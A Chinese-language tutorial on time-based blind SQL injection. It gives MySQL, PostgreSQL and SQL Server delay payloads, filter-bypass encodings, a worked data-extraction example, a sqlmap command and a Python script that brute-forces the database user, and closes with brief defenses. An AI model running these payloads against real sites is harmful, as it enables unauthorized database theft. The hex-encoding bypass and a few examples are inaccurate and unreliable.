SQL注入之延时盲注原理与应用

一、原理

  1. 核心逻辑
    构造SQL语句,当条件为真时触发数据库执行延时操作(如等待5秒),通过响应时间差异确认条件结果。

  2. 依赖函数

    • MySQLSLEEP(N)BENCHMARK(循环次数,表达式)

      IF(条件, SLEEP(5), 0)  -- 条件为真时延时5秒
    • PostgreSQLpg_sleep(N)

    • SQL ServerWAITFOR DELAY '0:0:5'


二、应用步骤

1. 确认注入点与延时可行性
  • 注入基础Payload测试是否触发延时:

    ' AND SLEEP(5)--   # MySQL示例
  • 若页面响应时间显著增加(如5秒),说明存在时间盲注漏洞。

2. 构造延时条件提取数据
  • 步骤1:获取数据长度

    ' AND IF(LENGTH(DATABASE())=4, SLEEP(5), 0)-- 

    若响应延迟5秒,说明当前数据库名长度为4(如 test)。

  • 步骤2:逐字符猜测内容

    ' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=116, SLEEP(5), 0)-- 

    若延迟5秒,说明数据库名第一个字符ASCII码为116(即字符 t)。

  • 步骤3:循环遍历所有字符
    修改 SUBSTRING 索引值(如 2,13,1)依次提取后续字符。

3. 优化技巧
  • 二分法加速
    猜测字符ASCII码时,从中间值(如64)开始缩小范围:

    ' AND IF(ASCII(SUBSTRING(...))>64, SLEEP(5), 0)-- 
  • 批量判断
    同时判断多个字符范围,减少请求次数:

    ' AND IF(ASCII(SUBSTRING(...)) BETWEEN 97 AND 122, SLEEP(5), 0)-- 
  • 短延时替代
    使用 BENCHMARK 制造CPU密集型延时(避免过长等待):

    ' AND IF(条件, BENCHMARK(10000000,MD5('test')), 0)-- 

三、绕过过滤的常见方法

  1. 函数替换

    • 用 BENCHMARK 代替 SLEEP(MySQL):

      IF(条件, BENCHMARK(10000000,MD5('a')), 0)
    • 用 PG_SLEEP 代替 SLEEP(PostgreSQL)。

  2. 编码绕过

    • 十六进制编码:SLEEP(5) → 0x534C454550283529

    • URL双重编码:SLEEP → %2553%254C%2545%2545%2550

  3. 逻辑变形

    • 通过复杂条件触发延时:

      ' AND (SELECT CASE WHEN (条件) THEN SLEEP(5) ELSE 0 END)-- 
    • 嵌套子查询:

      ' AND (SELECT 1 FROM (SELECT SLEEP(5))a WHERE 条件)-- 
  4. 时间盲注与布尔盲注结合

    ' AND IF(条件, SLEEP(5), 1/0)-- 

    条件为真时延时,为假时触发除零错误(页面异常)。


四、实战示例

目标:获取MySQL当前用户名的第一个字符

  1. 确认用户长度

    /page.php?id=1' AND IF(LENGTH(USER())=5, SLEEP(5), 0)-- 

    若响应延迟5秒,用户名为5字符(如 root@)。

  2. 逐位猜测字符

    /page.php?id=1' AND IF(ASCII(SUBSTRING(USER(),1,1))=114, SLEEP(5), 0)-- 

    若延迟5秒,第一个字符为 r(ASCII 114)。

  3. 循环直到获取完整用户名r → o → o → t → @ → root@localhost


五、自动化工具

  1. sqlmap命令

    sqlmap -u "http://example.com/page.php?id=1" --technique=T --time-sec=5
    • --technique=T:指定时间盲注。

    • --time-sec=5:设置延时基准时间。

  2. 手动脚本(Python示例)

    import requests
    import time
    
    url = "http://example.com/page.php?id=1' AND IF(ASCII(SUBSTRING(USER(),{},1))={}, SLEEP(5), 0)-- "
    result = ""
    
    for i in range(1, 6):  # 假设已知用户长度5
        for code in range(32, 127):
            start = time.time()
            requests.get(url.format(i, code))
            delay = time.time() - start
            if delay >= 5:
                result += chr(code)
                break
    print("User:", result)  # 输出:root@

六、防御建议

  1. 参数化查询:彻底杜绝SQL注入。

  2. 输入过滤:过滤 SLEEPBENCHMARK 等危险函数。

  3. 速率限制:限制同一IP的请求频率,增加自动化攻击难度。

  4. WAF规则:检测包含延时函数的请求(如 SLEEP(WAITFOR)。


总结:延时盲注依赖时间差推断数据,需耐心构造条件。实际攻击中优先使用工具(如sqlmap)提升效率,防御需结合代码规范与安全设备。

你可能感兴趣的:(SQL注入之延时盲注原理与应用)